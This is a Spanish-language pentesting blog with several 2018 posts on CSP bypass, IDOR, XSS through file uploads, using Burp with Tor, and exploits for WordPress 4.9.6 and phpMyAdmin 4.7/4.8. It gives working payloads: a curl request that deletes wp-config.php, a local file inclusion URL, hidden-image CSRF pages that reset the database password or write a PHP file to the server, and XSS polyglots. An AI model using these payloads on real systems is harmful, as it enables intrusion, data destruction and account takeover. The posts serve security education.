lunes, 17 de septiembre de 2018

Como saltar CSP (Content Security Policy)

Introduccion

La política de seguridad de contenido (CSP) es un estándar de seguridad informática introducido para evitar la secuencia de comandos (XSS), clickjacking y otros ataques de inyección de código resultantes de la ejecución de código malicioso en el contexto confiable de la pagina web.

Detectando CSP



Primeramente vemos una URL que puede ser posiblemente atacada por XSS. Y hacemos la prueba:



Vemos como se inyecta nuestro codigo pero no se ejecuta entonces, vamos al apartado de Network de nuestro inspeccionador de elementos y vemos lo siguiente:


Un mensaje de error que nos indica claramente como content security police nos esta bloqueando y que solo permite ejecutar scripts del mismo dominio.

Atacar!

El siguiente paso es buscar alguna parte donde se refleje nuestro XSS ya sea un alert, prompt, confirm, etc... puede llegar a ser una imagen, un archivo js, etc...

Primero hay que ver cuales son los dominios que permite para ello vamos hacemos una peticion y vemos la respuesta:



Vemos claramente como se puede solamente inyectar script que sean del mismo dominio. Ejemplo de un vector:

<script src="http://pentesterlab.com/arthusublog.js?var=alert(1);" />

Donde alert(1) se refleja en el JS.



Inyectando el vector en donde se encuentra el XSS podemos realizar el bypass:



Usando Burp con TOR

Buenas amigos esto es algo fácil de hacer así que espero hacerlo por pasos y si agregar unas cuantas imágenes.


1.- descargamos TOR: https://www.torproject.org/
2.- abrimos el navegador de tor vamos a opciones>proxy de red>Configuración... Verificamos el HOST SOCK en mi caso esta así: IP: 127.0.0.1 PUERTO: 9150

3.- ahora abro mozilla firefox e ingreso lo siguiente:

4.- Me dirijo a Burp>User options>SOCKS Proxy>Ingreso proxy:
IP: 127.0.0.1 PORT: 9150

Seleccionamos la opción: Use SOCKS Proxy y tambien Do DNS Lookups over Sock Proxy.


5.- Ingreso a Mi firefox y hago peticiones por ejemplo https://www.cual-es-mi-ip.net/:


Listo tenemos configurado TOR para usar con BURP.


sábado, 15 de septiembre de 2018

IDOR: Referencia insegura de objeto directo

Es una vulnerabilidad que generalmente conduce a la perdida de datos confidenciales, pero también puede dar lugar a una menor modificación de los datos.

Considere una URL como: http://idor.ejemplo.com/perfil?UID=24 que devuelve una pagina como:

Nombre: JuakersinContraseña: C0ntr4señ4123


Ahora imagine que se conecta al sistema con su cuenta, y cambiamos esa URL por lo siguiente: http://idor.ejemplo.com/perfil?UID=26

Nombre: Chico MaloContraseña: g0d


¡Esa es la referencia inseguro de objeto directo! simplemente se cambio un parámetro y pudo acceder a datos que no debería, es tan simple como eso. Creo que es una vulnerabilidad que muy a menudo se pasa por alto, ya que el parámetro no tiene que ser tan obvio como este ejemplo, y otro es por que los escaneres automáticos no son nada buenos para detectar este tipo de problema ya que necesariamente tendrían que tener inteligencia para poder darse cuenta que los datos que esta arrojando no deberían de ser accesibles.

Sin embargo el impacto no solo se da en perdida de datos confidenciales, considere también URLs como:

http://idor.ejemplo.com/cambiarContrasena?userID=793

http://idor.ejemplo.com/eliminarCuenta?userID=793

¡Aquí podría obtener el control de la cuenta y ademas perdida de información! Una vulnerabilidad bastante simple que se basa simplemente en una cantidad insuficiente de autenticacion. 

Donde los permisos del usuario no se validan, antes de que se sirvan los datos.

domingo, 9 de septiembre de 2018

XSS al subir archivos

Un input para cargar archivos es una gran oportunidad para realizar ataques XSS. El área restringida de un usuario como cargar una imagen de perfil es una gran oportunidad, y nos brinda el poder realizar este ataque por fallo del programador. Básicamente podríamos tener los siguientes ataques.

1) Cambiar el nombre del archivo

El nombre del archivo en si puede estar reflejado o persistente en una pagina, por lo cual se trata solamente de nombrar el archivo.


"><img src=X onerror="alert(document.domain)">.png

Es recomendable utilizar un sistema linux para este tipo de ataques.

Pueden probar con w3schools ya que es vulnerable a este ataque: https://www.w3schools.com/jsref/tryit.asp?filename=tryjsref_fileupload_value


2) Metadatos

Usando exiftool es posible alterar los metadatos que puedan llevar una ataque xss reflejado en alguna parte.

Syntax:  exiftool [OPTIONS] FILE

Ejemplo: exiftool -make='<script>alert(/xss/)</script>' FILE



3) Contenido

Si la aplicación le permite la carga de un archivo SVG (que también es un tipo de imagen), se puede usar un archivo con el siguiente contenido para ejecutar un XSS:

<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>


4) Fuente

Es fácil crear una imagen GIF que lleve un payload javascript para utilizarlo como fuente en algún script. Esto es útil para eludir el CSP (La cabecera de política de seguridad de contenido) "script src 'self'" (que no permite <script>alert(1)</script> por ejemplo), si podemos inyectar con éxito en el mismo dominio, como se muestra a continuación.

Para crear una imagen de este tipo simplemente utilícela como contenido y guárdela con la extensión .gif

GIF89a/*<svg/onload=alert(1)>*/=alert(document.domain)//;


La firma de un archivo GIF, GIF89a se usa como una variable de javascript asignada a la función de alerta. Sin embargo, entre ellos hay un vector XSS comentado en caso de que la imagen se pueda recuperar como un MIME de texto/HTML, permitiendo así la ejecución de un payload simplemente solicitando el archivo.

Como también podemos ver a continuación, el comando similar al de UNIX junto a las funciones de PHP exif_imagetype() y getimagesize() lo reconocen como un archivo GIF. Por lo tanto, si una aplicación esta usando solo esto para validar la imagen, el archivo se cargara (pero puede desinfectarse mas adelante).


Para mas tipos de archivos que tienen su propia firma para la asignación de un javascript puede verificar esto: https://en.wikipedia.org/wiki/List_of_file_signatures

Hay ejemplo mas elaborados que usan archivos de imagen, generalmente omitiendo filtros como los de la biblioteca GD. Un ejemplo:
https://github.com/d0lph1n98/Defeating-PHP-GD-imagecreatefromgif

Traducido por Arthusu
Entrada creada en Brute Logic: https://brutelogic.com.br/blog/file-upload-xss/

Exploit Wordpress 4.9.6 - Eliminación de archivos arbitrarios

Hola en el 2013 publique una entrada sobre eliminación de archivos arbitrarios y les traigo un exploit en wordpress y como puede ser explotado, si quieres una explicación de como funciona esta vulnerabilidad les dejo el enlace de mi entrada anterior:
https://arthusu.blogspot.com/2013/07/eliminacion-de-archivos-arbitrarios.html

Intro

Wordpress es el CMS mas popular segun w3techs:
https://w3techs.com/technologies/overview/content_management/all

RIPS revelo esta vulnerabilidad el 26 de junio del 2018:
https://blog.ripstech.com/2018/wordpress-file-delete-to-code-execution/

Explotando la vulnerabilidad de eliminación de archivos arbitrarios

1.- Iniciamos sesion

2.- Nos dirigimos a agregar una nueva imagen y la subimos

3.- Damos clic en la imagen y establecemos $meta['thumb'] (datos en la meta data de la imagen), recordemos el id de la imagen que se muestra arriba de la URL, como se muestra a continuación:

4.- Nos dirigimos a la url con el post http://localhost/wp-admin/post.php?post=4&action=edit y buscamos _wpnonce usando inspeccionar codigo>ctrl+f


5.- Enviamos nuestro vector de ataque usando cURL:


curl -v 'http://localhost/wp-admin/post.php?post=4' -H 'Cookie: ***' -d 'action=editattachment&_wpnonce=***&thumb=../../../../wp-config.php'

donde *** es tu valor de la cookie y *** en _wpnonce es tu identificador que recogiste al inspeccionar el HTML.

7.- Lanzamos el ataque, buscamos de nuevo _wpnonce en el código fuente estando en: http://localhost/wp-admin/post.php?post=4&action=edit copiamos el identificador de _wpnonce y ejecutamos nuestro payload que eliminara el archivo deseado:


8.- Recargamos la pagina y el archivo ha sido eliminado.

Y es todo, espero que les haya gustado, saludos!

Exploit phpMyAdmin 4.8.x LFI

Este exploit no requiere root pero tenemos que tener sesión iniciada en phpMyAdmin.

1.- Nos dirigimos a phpMyAdmin e iniciamos sesión.
2.- La version que estoy ejecutando actualmente es la 4.8.1

3.- Vamos a la pestaña SQL y ejecutamos la siguiente consulta: select '<?php phpinfo();exit;?>';

4.- Obtenemos la sesión (02sg7d31vi7pd23f4p45iv14jim83hob en este caso) de phpMyAdmin, en este caso estoy usando el complemento editThisCookie, pero también puede verlo desde la pestaña Application.

5.- Hacemos la peticion al archivo de la sesion por medio de LFI:

http://localhost/phpmyadmin/index.php?target=db_sql.php?/../../../../../../../../var/lib/php/sessions/sess_02sg7d31vi7pd23f4p45iv14jim83hob

En este caso navegamos hasta /var/lib/sessions/ que es donde se encuentran las sesiones
Y sess_tuidentificador

Y vuala:



Esto seria todo, lo mas complicado es encontrar el directorio donde se encuentran las sesiones guardadas y en todo si caso si es que las guarda, saludos!

Exploit phpMyAdmin 4.7.x CSRF

phpMyAdmin como sabemos es una herramienta de gestión de bases de datos MySQL/MariaDB en linea, el equipo de phpMyAdmin ya corrigio esta vulnerabilidad CSRF por lo cual es importante que si tienen esta versión en su equipo la actualicen.

Un atacante puede acceder a la pagina mediante la inducción del administrador, ejecutando en silencio cualquier consulta SQL.

El administrador inicia sesion con phpMyAdmin, digamos que el usuario es root y la contraseña es toor.



1.- Explotación de CSRF - Cambiando la contraseña actual del administrador de la base de datos

Sabemos que si quisiéramos modificar algún contenido de la base de datos tendríamos que saber la tabla la columna y la base de datos algo que no siempre sabríamos y limitaría nuestro ataque, es por eso que usaremos este ejemplo que es mas general. La consulta para cambiar la contraseña del usuario es la siguiente:

SET password=PASSWORD('www.arthusu.blogpost.com');

2.- Crear una pagina con código malicioso

<p>Mi primera pagina web</p>
<img src="http://localhost/phpmyadmin/sql.php?db=mysql&table=user&sql_query=SET password=PASSWORD('www.arthusu.blogpost.com')" style="display:none;" />



Al pasarle esto al administrador de phpMyAdmin su contraseña sera actualizada y ahora nosotros podremos acceder desde phpMyAdmin.

3.- Escribir un archivo en el servidor.

MySQL permite escribir los resultados de una consulta en un archivo, por lo cual podemos utilizar la siguiente consulta:

select '<?php phpinfo();?>' into outfile '/var/www/html/test.php';


Donde /var/www/html - es una ruta existente en la cual se puede escribir archivos tiene esos permisos

El exploit quedaría algo como lo siguiente:

<p>Mi primera pagina web</p>

<img src="http://localhost/phpmyadmin/sql.php?db=mysql&table=user&sql_query=select '<?php phpinfo();?>' into outfile '/var/www/html/test.php';" style="display:none;" />

Y el resultado seria:



La ejecución de nuestro código.

Existen otras consultas que podemos realizar como es la lectura de archivos usando load_file, y lo que se nos ocurra con consultas SQL.

Conclusión

Mantenerte actualizado, y ver que los ataques CSRF pueden llegar a ser peligrosos. También comentar que este ataque solo sirve si un dba tiene sesión iniciada en phpMyAdmin y si es dba.